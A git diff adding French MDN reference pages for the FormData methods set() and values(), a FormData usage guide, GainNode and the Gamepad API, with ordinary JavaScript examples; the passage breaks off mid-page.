+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','keys() (as iterator&lt;&gt;)')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FormData.keys")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="https://wiki.developer.mozilla.org/fr/docs/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest" title="Using XMLHttpRequest">Utiliser XMLHttpRequest</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/fr/docs/Web/API/FormData/Utilisation_objets_FormData" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Utiliser les objets FormData</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/fr/web/api/formdata/set/index.html b/files/fr/web/api/formdata/set/index.html
new file mode 100644
index 0000000000..08531cf865
--- /dev/null
+++ b/files/fr/web/api/formdata/set/index.html
@@ -0,0 +1,92 @@
+---
+title: FormData.set()
+slug: Web/API/FormData/set
+tags:
+  - API
+  - FormData
+  - Méthode
+  - Reference
+  - XHR
+  - XMLHttpRequest
+  - set
+translation_of: Web/API/FormData/set
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>La méthode <code>set()</code> de l'interface {{domxref("FormData")}} définit une nouvelle valeur pour une clé existante dans un objet <code>FormData</code>, ou ajoute la clé/valeur si elle n'existe pas encore.</p>
+
+<p>La différence entre <code>set()</code> et {{domxref("FormData.append")}} est que si la clé spécifiée existe déjà, <code>set()</code> écrasera toutes les valeurs existantes avec la nouvelle, tandis que {{domxref("FormData.append")}} ajoutera la nouvelle valeur à la fin de l'ensemble de valeurs existant.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Cette méthode est disponible dans les <a href="/fr/docs/Web/API/Web_Workers_API" rel="noopener">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Il existe deux versions de cette méthode : une version à deux et une version à trois paramètres :</p>
+
+<pre class="brush: js">formData.set(name, value);
+formData.set(name, value, filename);</pre>
+
+<h4 id="append_Parameters" name="append()_Parameters">Paramètres</h4>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Le nom du champ dont les données sont contenues en valeur (<code>value</code>).</dd>
+ <dt><code>value</code></dt>
+ <dd>La valeur du champ. Il peut s'agir d'un {{domxref("USVString")}} ou d'un {{domxref("Blob")}} (y compris les sous-classes telles que {{domxref("File")}}). Si aucune de ces sous-classes n'est spécifiée, la valeur est convertie en une chaîne de caractères.</dd>
+ <dt><code>filename </code>{{optional_inline}}</dt>
+ <dd>Le nom de fichier communiqué au serveur (un {{domxref("USVString")}}), lorsqu'un {{domxref("Blob")}} ou un {{domxref("File")}} est passée comme deuxième paramètre. Le nom de fichier par défaut pour les objets {{domxref("Blob")}} est "blob". Le nom de fichier par défaut pour les objets {{domxref("File")}} est le nom du fichier.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> Si vous spécifiez un {{domxref("Blob")}} comme donnée à ajouter à l'objet FormData, le nom du fichier qui sera rapporté au serveur dans l'en-tête "Content-Disposition" utilisé pour varier d'un navigateur à l'autre.</p>
+</div>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>La ligne suivante crée un objet <code>FormData</code> vide:</p>
+
+<pre class="brush: js">var formData = new FormData(); // Actuellement vide</pre>
+
+<p>Vous pouvez définir des paires clé/valeur à ce sujet en utilisant {{domxref("FormData.set")}} :</p>
+
+<pre class="brush: js">formData.set('username', 'Chris');
+formData.set('userpic', myFileInput.files[0], 'chris.jpg');</pre>
+
+<p>Si la valeur envoyée est différente de String ou Blob, elle sera automatiquement convertie en <code>String</code> :</p>
+
+<pre class="brush: js">formData.set('name', 72);
+formData.get('name'); // "72"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata-set','set()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FormData.set")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/fr/docs/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest" title="Using XMLHttpRequest">Utiliser XMLHttpRequest</a></li>
+ <li><a href="/fr/docs/Web/Guide/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Utiliser les objets FormData</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/fr/web/api/formdata/utilisation_objets_formdata/index.html b/files/fr/web/api/formdata/utilisation_objets_formdata/index.html
new file mode 100644
index 0000000000..a64c8be0d0
--- /dev/null
+++ b/files/fr/web/api/formdata/utilisation_objets_formdata/index.html
@@ -0,0 +1,145 @@
+---
+title: Utilisation des objets FormData
+slug: Web/API/FormData/Utilisation_objets_FormData
+tags:
+  - AJAX
+  - Blob
+  - File
+  - FormData
+  - Formulaires
+  - XHR
+  - XMLHttpRequest
+translation_of: Web/API/FormData/Using_FormData_Objects
+---
+<p class="summary">L’objet <code><a href="/en-US/docs/Web/API/FormData">FormData</a></code> vous permet de compiler un ensemble de paires clé/valeur à envoyer à l’aide de l’API <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code>. Il est principalement destiné à l’envoi de données de formulaire, mais il peut également être utilisé indépendamment des formulaires pour transmettre des données indexées. Le format des données transmises est le même que celui qu’utiliserait la méthode {{domxref("HTMLFormElement.submit","submit()")}} du formulaire pour envoyer les données si l’encodage de ce dernier était défini sur <code>multipart/form-data</code>.</p>
+
+<h2 id="Création_intégrale_d’un_objet_FormData">Création intégrale d’un objet FormData</h2>
+
+<p>Vous pouvez construire un objet <code>FormData</code> vous-même, en créer une instance, puis y ajouter des champs en appelant la méthode {{domxref("FormData.append","append()")}}, comme suit :</p>
+
+<pre class="brush: js">var formData = new FormData();
+
+formData.append("username", "Groucho");
+formData.append("accountnum", 123456); // le numéro 123456 est converti immédiatement en chaîne "123456"
+
+// fichier HTML choisi par l'utilisateur
+formData.append("userfile", fileInputElement.files[0]);
+
+// objet JavaScript de type fichier
+var content = '&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;'; // the body of the new file...
+var blob = new Blob([content], { type: "text/xml"});
+
+formData.append("webmasterfile", blob);
+
+var request = new XMLHttpRequest();
+request.open("POST", "http://foo.com/submitform.php");
+request.send(formData);
+</pre>
+
+<div class="note"><strong>Remarque :</strong> les champs « userfile » et « webmasterfile » contiennent tous deux un fichier. Le numéro attribué au champ « accountnum » est immédiatement converti en chaîne par la méthode <a href="/en/DOM/XMLHttpRequest/FormData#append()" title="en/XMLHttpRequest/FormData#append()"><code>FormData.append()</code></a> (la valeur du champ peut être un objet {{ domxref("Blob") }}, {{ domxref("File") }} ou une chaîne : <strong>s’il ne s’agit ni d’un objet Blob, ni d’un objet File, la valeur est convertie en chaîne</strong>).</div>
+
+<p>Dans cet exemple, une instance <code>FormData</code> contenant les valeurs des champs « username », « accountnum », « userfile » et « webmasterfile » est créée, puis la méthode <code>XMLHttpRequest</code> <a href="/en/DOM/XMLHttpRequest#send()" title="en/XMLHttpRequest#send()"><code>send()</code></a> est utilisée pour envoyer les données du formulaire. Le champ « webmasterfile » est un objet {{domxref("Blob")}}. Un objet <code>Blob</code> représente un objet-fichier de données brutes immuables. Les Blobs représentent des données qui ne sont pas nécessairement dans un format JavaScript natif. L’interface {{ domxref("File") }} se base sur l’objet <code>Blob</code>, elle en hérite les fonctionnalités et les étend pour prendre en charge les fichiers du système de l’utilisateur. Pour construire un <code>Blob</code>, vous pouvez invoquer le {{domxref("Blob.Blob","constructeur Blob()")}}.</p>
+
+<h2 id="Récupération_d’un_objet_FormData_dans_un_formulaire_HTML">Récupération d’un objet FormData dans un formulaire HTML</h2>
+
+<p>Pour construire un objet <code>FormData</code> contenant les données d’un élément HTML {{ HTMLElement("form") }} existant, spécifiez cet élément lors de la création de l’objet<code> </code>:</p>
+
+<pre class="brush: js">var formData = new FormData(someFormElement);
+</pre>
+
+<p>Par exemple :</p>
+
+<pre class="brush: js">var formElement = document.querySelector("form");
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+request.send(new FormData(formElement));
+</pre>
+
+<p>Vous pouvez également ajouter des données supplémentaires à l’objet <code>FormData</code> entre sa récupération dans un formulaire et son envoi, comme suit :</p>
+
+<pre class="brush: js">var formElement = document.querySelector("form");
+var formData = new FormData(formElement);
+var request = new XMLHttpRequest();
+request.open("POST", "submitform.php");
+formData.append("serialnumber", serialNumber++);
+request.send(formData);</pre>
+
+<p>Vous pouvez ainsi ajouter des données au formulaire avant de l’envoyer, pour y inclure des informations supplémentaires que les utilisateurs ne peuvent pas nécessairement modifier.</p>
+
+<h2 id="Envoi_de_fichiers_via_un_objet_FormData">Envoi de fichiers via un objet FormData</h2>
+
+<p>L’objet <code>FormData</code> vous permet également d’envoyer des fichiers. Il vous suffit d’inclure un élément HTML {{ HTMLElement("input") }} de type <code>file</code> dans votre élément {{htmlelement("form")}} :</p>
+
+<pre class="brush: html">&lt;form enctype="multipart/form-data" method="post" name="fileinfo"&gt;
+  &lt;label&gt;Votre adresse électronique :&lt;/label&gt;
+  &lt;input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /&gt;&lt;br /&gt;
+  &lt;label&gt;Étiquette du fichier personnalisé :&lt;/label&gt;
+  &lt;input type="text" name="filelabel" size="12" maxlength="32" /&gt;&lt;br /&gt;
+  &lt;label&gt;Fichier à mettre de côté :&lt;/label&gt;
+  &lt;input type="file" name="file" required /&gt;
+  &lt;input type="submit" value="Mettez le fichier de côté." /&gt;
+&lt;/form&gt;
+&lt;div&gt;&lt;/div&gt;
+</pre>
+
+<p>Vous pouvez ensuite l’envoyer à l’aide du code suivant :</p>
+
+<pre class="brush: js">var form = document.forms.namedItem("fileinfo");
+form.addEventListener('submit', function(ev) {
+
+  var oOutput = document.querySelector("div"),
+      oData = new FormData(form);
+
+  oData.append("CustomField", "Données supplémentaires");
+
+  var oReq = new XMLHttpRequest();
+  oReq.open("POST", "stash.php", true);
+  oReq.onload = function(oEvent) {
+    if (oReq.status == 200) {
+      oOutput.innerHTML = "Envoyé !";
+    } else {
+      oOutput.innerHTML = "Erreur " + oReq.status + " lors de la tentative d’envoi du fichier.&lt;br \/&gt;";
+    }
+  };
+
+  oReq.send(oData);
+  ev.preventDefault();
+}, false);
+</pre>
+
+<div class="note">
+<p><strong>Remarque </strong>: si vous passez une référence dans le formulaire, la méthode spécifiée dans ce dernier sera utilisée au lieu de celle définie dans l’appel de la méthode open().</p>
+</div>
+
+<p>Vous pouvez également ajouter un objet {{ domxref("File") }} ou {{ domxref("Blob") }} directement dans l’objet {{ domxref("FormData") }} :</p>
+
+<pre class="brush: js">data.append("myfile", myBlob, "filename.txt");
+</pre>
+
+<p>Avec la méthode {{domxref("FormData.append","append()")}}, vous pouvez utiliser le troisième paramètre facultatif pour passer un nom de fichier dans l’en-tête <code>Content-Disposition</code> envoyé au serveur. Si aucun nom de fichier n’est spécifié (ou si le paramètre n’est pas pris en charge), le nom « blob » est utilisé.</p>
+
+<p>Vous pouvez utiliser l’objet <code>FormData</code> avec jQuery si vous définissez les options appropriées :</p>
+
+<pre class="brush: js">var fd = new FormData(document.querySelector("form"));
+fd.append("CustomField", "Données supplémentaires");
+$.ajax({
+  url: "stash.php",
+  type: "POST",
+  data: fd,
+  processData: false,  // dire à jQuery de ne pas traiter les données
+  contentType: false   // dire à jQuery de ne pas définir le contentType
+});
+</pre>
+
+<h2 id="Envoi_de_formulaires_et_de_fichiers_via_AJAX_sans_objet_FormData">Envoi de formulaires et de fichiers via AJAX <em>sans</em> objet <code>FormData</code></h2>
+
+<p>Si vous voulez en savoir plus sur la sérialisation des données  et l’envoi d’un formulaire via <a href="/en-US/docs/AJAX" title="/en-US/docs/AJAX">AJAX</a> <em>sans</em> utiliser d’objets FormData, consultez <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files" title="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">ce paragraph</a>e.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Utiliser XMLHttpRequest</a></li>
+ <li>{{domxref("HTMLFormElement")}}</li>
+ <li>{{domxref("Blob")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">Tableaux typés</a></li>
+</ul>
diff --git a/files/fr/web/api/formdata/values/index.html b/files/fr/web/api/formdata/values/index.html
new file mode 100644
index 0000000000..e9ea371f97
--- /dev/null
+++ b/files/fr/web/api/formdata/values/index.html
@@ -0,0 +1,79 @@
+---
+title: FormData.values()
+slug: Web/API/FormData/values
+tags:
+  - API
+  - FormData
+  - Iteration
+  - Méthode
+  - Reference
+  - XHR
+  - XMLHttpRequestAPI
+  - values
+translation_of: Web/API/FormData/values
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p>La méthode <code><strong>FormData.values()</strong></code> renvoie une {{jsxref("Les_protocoles_iteration", "itération")}} permettant de passer en revue toutes les valeurs contenues dans cet objet. Les valeurs sont des objets {{domxref("USVString")}} ou {{domxref("Blob")}}.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Cette méthode est disponible dans les <a href="/fr/docs/Web/API/Web_Workers_API" rel="noopener">Web Workers</a>.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">formData.values();</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Retourne une {{jsxref("Les_protocoles_iteration", "itération")}} .</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js;highlight:[7]">// Créer un objet FormData test
+var formData = new FormData();
+formData.append('cle1', 'valeur1');
+formData.append('cle2', 'valeur2');
+
+// Affiche les valeurs
+for (var value of formData.values()) {
+   console.log(value);
+}
+</pre>
+
+<p>Le résultat est :</p>
+
+<pre>valeur1
+valeur2</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','values() (as iterator&lt;&gt;)')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.FormData.values")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/fr/docs/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest" title="Using XMLHttpRequest">Utiliser XMLHttpRequest</a></li>
+ <li><a href="/fr/docs/Web/Guide/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Utiliser les objets FormData</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/fr/web/api/gainnode/index.html b/files/fr/web/api/gainnode/index.html
new file mode 100644
index 0000000000..1da72965df
--- /dev/null
+++ b/files/fr/web/api/gainnode/index.html
@@ -0,0 +1,171 @@
+---
+title: GainNode
+slug: Web/API/GainNode
+tags:
+  - API
+  - Experimental
+  - Reference
+  - Web Audio API
+translation_of: Web/API/GainNode
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<p>L'interface <strong><code>GainNode</code></strong> représente une variation de volume. Il s'agit d'un {{domxref("AudioNode")}}, c'est un module de traitement audio, qui provoque un gain donné à appliquer à des données d'entrée avant sa propagation à la sortie. Un <code>GainNode</code> a toujours exactement une entrée et une sortie, avec la même quantité de canaux.</p>
+
+<p>Le gain est une valeur sans unité, qui change éventuellement avec le temps, qui est multiplié à chaque échantillon correspondant de tous les canaux entrées. En cas de modification, le nouveau gain est appliqué à l'aide d'un algorithme d'effilochage afin d'éviter aux «clics» inesthétiques d'apparaître dans l'audio résultant.</p>
+
+<p><img alt="The GainNode is increasing the gain of the output." src="https://mdn.mozillademos.org/files/5085/WebAudioGainNode.png" style="height: 116px; width: 774px;"></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn>Nombre d'entrées</dfn></th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Nombre de sorties</dfn></th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Mode de comptage des canaux</dfn></th>
+   <td><code>"max"</code></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Nombre de canaux</dfn></th>
+   <td><code>2</code> (inutilisés dans le mode de comptage par défaut)</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Interprétation des canaux</dfn></th>
+   <td><code>"speakers"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("GainNode.GainNode", "GainNode()")}}</dt>
+ <dd>Crée une nouvelle instance d'un objet <code>GainNode</code>. Il ne faut pas créer un noeud de gain manuellement, mais plutôt utiliser la méthode {{domxref("AudioContext.createGain()")}}.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propritétés de son parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("GainNode.gain")}}</dt>
+ <dd>Est un <a href="/fr/docs/Web/API/AudioParam#a-rate">a-rate</a> {{domxref ("AudioParam")}} représentant le montant du gain à appliquer. (Bien que le <code>AudioParam</code> retournée est en lecture seule, la valeur qu'il représente ne l'est pas).</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Aucune méthode spécifique; hérite des méthodes de son parent, {{domxref("AudioNode")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>{{page("/en-US/docs/Web/API/AudioContext.createGain","Example")}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statuts</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#GainNode-section', 'GainNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(15)}}{{property_prefix("webkit")}}<br>
+    {{CompatOpera(22)}}</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>constructeur</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(33.0)}}</td>
+  </tr>
+  <tr>
+   <td>constructeur</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser l'API Web Audio</a></li>
+</ul>
diff --git a/files/fr/web/api/gamepad/index.html b/files/fr/web/api/gamepad/index.html
new file mode 100644
index 0000000000..6b9b9334e6
--- /dev/null
+++ b/files/fr/web/api/gamepad/index.html
@@ -0,0 +1,99 @@
+---
+title: Gamepad
+slug: Web/API/Gamepad
+translation_of: Web/API/Gamepad
+---
+<p>{{APIRef("Gamepad API")}}</p>
+
+<p>L'interface <strong><code>Gamepad</code></strong> de l'<a href="/fr/docs/Web/API/Gamepad_API">API Gamepad</a> définit une manette individuelle ou un autre contrôleur, autorisant l'accès à des informations telles que les boutons pressés, la position des axes et l'identifiant.</p>
+
+<p>Un objet <code>Gamepad</code> peut être retourné de deux manières :</p>
+
+<ul>
+ <li>Via la propriété <code>gamepad</code> des événements {{event("gamepadconnected")}} et {{event("gamepaddisconnected")}}.</li>
+ <li>Ou en prenant n'importe quelle position dans le tableau retourné par la méthode {{domxref("Navigator.getGamepads()")}}.</li>
+</ul>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("Gamepad.axes")}} {{readonlyInline}}</dt>
+ <dd>Un tableau représentant les contrôles avec les axes présents sur le dispositif (par exemple : les joysticks analogiques).</dd>
+ <dt>{{domxref("Gamepad.buttons")}} {{readonlyInline}}</dt>
+ <dd>Un tableau d'objets {{domxref("gamepadButton")}} représentant les boutons présents sur le dispositif.</dd>
+ <dt>{{domxref("Gamepad.connected")}} {{readonlyInline}}</dt>
+ <dd>Un booléen indiquant si la manette est toujours connectée au système.</dd>
+ <dt>{{domxref("Gamepad.displayId")}} {{readonlyInline}}</dt>
+ <dd>Retourne <dfn>{{domxref("VRDisplay.displayId")}} associé à {{domxref("VRDisplay")}} — Le VRDisplay</dfn><dfn> </dfn>dont la manette contrôle la scène affichée.</dd>
+ <dt>{{domxref("Gamepad.id")}} {{readonlyInline}}</dt>
+ <dd>Un {{domxref("DOMString")}} contenant l'information d'identification de la manette.</dd>
+ <dt>{{domxref("Gamepad.index")}} {{readonlyInline}}</dt>
+ <dd>Un entier qui s'auto-incrémente pour être unique à chaque dispositif actuellement connecté au système.</dd>
+ <dt>{{domxref("Gamepad.mapping")}} {{readonlyInline}}</dt>
+ <dd>Une chaîne de caractères indiquant si le navigateur a remappé les contrôles du dispositif à un layout connu.</dd>
+ <dt>{{domxref("Gamepad.timestamp")}} {{readonlyInline}}</dt>
+ <dd>Un {{domxref("DOMHighResTimeStamp")}} représentant la dernière fois que les données pour cette manette a été mise à jour. <em>Noter que cette propriété n'est pas supportée partout.</em></dd>
+</dl>
+
+<h3 id="Extensions_expérimentales_apportées_à_Gamepad">Extensions expérimentales apportées à <code>Gamepad</code></h3>
+
+<p>Les interfaces suivantes sont définies dans la spécification {{SpecName("GamepadExtensions")}} et fournissent un accès à des fonctionnalités expérimentales tels que les retours haptiques et informations de position des contrôleurs WebVR.</p>
+
+<dl>
+ <dt>{{domxref("Gamepad.hand")}} {{readonlyinline}}</dt>
+ <dd>Une énumération qui définit dans quelle main le contrôleur est tenue (ou dans laquelle il est probablement tenue).</dd>
+ <dt>{{domxref("Gamepad.hapticActuators")}} {{readonlyinline}}</dt>
+ <dd>Un tableau contenant des objets {{domxref("GamepadHapticActuator")}} dont chacun représente un matériel disponible pour le contrôleur pour les retours haptiques.</dd>
+ <dt>{{domxref("Gamepad.pose")}} {{readonlyinline}}</dt>
+ <dd>Un objet {{domxref("GamepadPose")}} qui représente la position et l'orientation d'un contrôleur WebVR dans l'espace en trois dimensions.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(event) {
+  console.log("Contrôleur connecté à %d: %s. %d boutons, %d axes.",
+  event.gamepad.index, event.gamepad.id,
+  event.gamepad.buttons.length, event.gamepad.axes.length);
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#gamepad-interface", "Gamepad")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Première définition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR', '#gamepad-getvrdisplays-attribute', 'displayId')}}</td>
+   <td>{{Spec2("WebVR")}}</td>
+   <td>
+    <p>Définit la propriété {{domxref("Gamepad.displayId")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("GamepadExtensions", "#partial-gamepad-interface", "Gamepad extensions")}}</td>
+   <td>{{Spec2("GamepadExtensions")}}</td>
+   <td>Définit les extensions expérimentales</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilités_des_navigateurs">Compatibilités des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Gamepad")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/API/Gamepad">Utilisation de l'API Gamepad</a></li>
+ <li><a href="/fr/docs/Web/API/Gamepad_API">API Gamepad</a></li>
+</ul>
diff --git a/files/fr/web/api/gamepad_api/index.html b/files/fr/web/api/gamepad_api/index.html
new file mode 100644
index 0000000000..33c6a7f458
--- /dev/null
+++ b/files/fr/web/api/gamepad_api/index.html
@@ -0,0 +1,90 @@
+---
+title: Gamepad API
+slug: Web/API/Gamepad_API
+translation_of: Web/API/Gamepad_API
+---
+<div>{{DefaultAPISidebar("Gamepad API")}}</div>
+
+<p>L'<strong>API Gamepad</strong> <span class="tlid-translation translation" lang="fr"><span title="">est un moyen</span></span> pour les <span class="tlid-translation translation" lang="fr"><span title="">développeurs d'accéder aux signaux provenant des manettes des jeu et des autres unités</span> <span title="">de commande du jeu d'y répondre de manière simple et systématiq</span></span>. <span class="tlid-translation translation" lang="fr"><span title="">Il contient trois interfaces, deux événements et une fonction spécialisée, pour répondre aux manettes connectées et déconnectées, et pour accéder à d'autres informations sur les manettes elles-mêmes, ainsi que sur les boutons et autres commandes sur lesquels vous appuyez actuellement.</span></span></p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad" title="The Gamepad interface of the Gamepad API defines an individual gamepad or other controller, allowing access to information such as button presses, axis positions, and id."><code>Gamepad</code></a></dt>
+ <dd><span class="tlid-translation translation" lang="fr"><span title="">Représente une manette de jeu / unités</span> <span title="">de commande du jeu connecté à l'ordinateur.</span></span></dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadButton" title="The GamepadButton interface defines an individual button of a gamepad or other controller, allowing access to the current state of different types of buttons available on the control device."><code>GamepadButton</code></a></dt>
+ <dd>Représente un bouton sur un gamepad connecté.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadEvent" title="The GamepadEvent interface of the Gamepad API contains references to gamepads connected to the system, which is what the gamepad events Window.gamepadconnected and Window.gamepaddisconnected are fired in response to."><code>GamepadEvent</code></a></dt>
+ <dd>L'objet d'événement qui déclenche des événements sur la manette de jeu contiguë de manière représentative.</dd>
+</dl>
+
+<h3 id="Extensions_de_manette_du_jeu_expérimentales">Extensions de manette du jeu expérimentales</h3>
+
+<dl>
